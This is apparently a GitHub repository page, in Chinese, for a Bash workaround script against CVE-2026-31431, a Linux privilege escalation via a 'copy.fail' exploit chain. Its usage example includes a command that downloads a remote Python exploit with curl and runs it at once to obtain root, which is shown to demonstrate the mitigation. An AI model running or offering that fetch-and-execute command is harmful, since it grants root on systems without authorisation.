someCorp/copyFail-CVE-2026-31431-workaround-bash
GitHub: someCorp/copyFail-CVE-2026-31431-workaround-bash
针对CVE-2026-31431特权提升漏洞的Bash变通修复脚本，执行后可阻断通过copy.fail利用链获取root权限的攻击路径。
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copyFail-CVE-2026-31431-workaround-bash
一些用法：
```
user@host:~$ python3 -c "$(curl -s https://copy.fail/exp -o-)"
# id
uid=0(root) gid=1000(user)
# ctrl+d
user@host:~$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash
user@host:~$ sudo bash copyFail-CVE-2026-31431-workaround-bash/qdf.sh
user@host:~$ python3 -c "$(curl -s https://copy.fail/exp -o-)"
Traceback (most recent call last):
File "", line 9, in
File "", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory
```
标签：Linux, Shell脚本, Web报告查看器, 协议分析, 安全工具, 权限提升, 漏洞缓解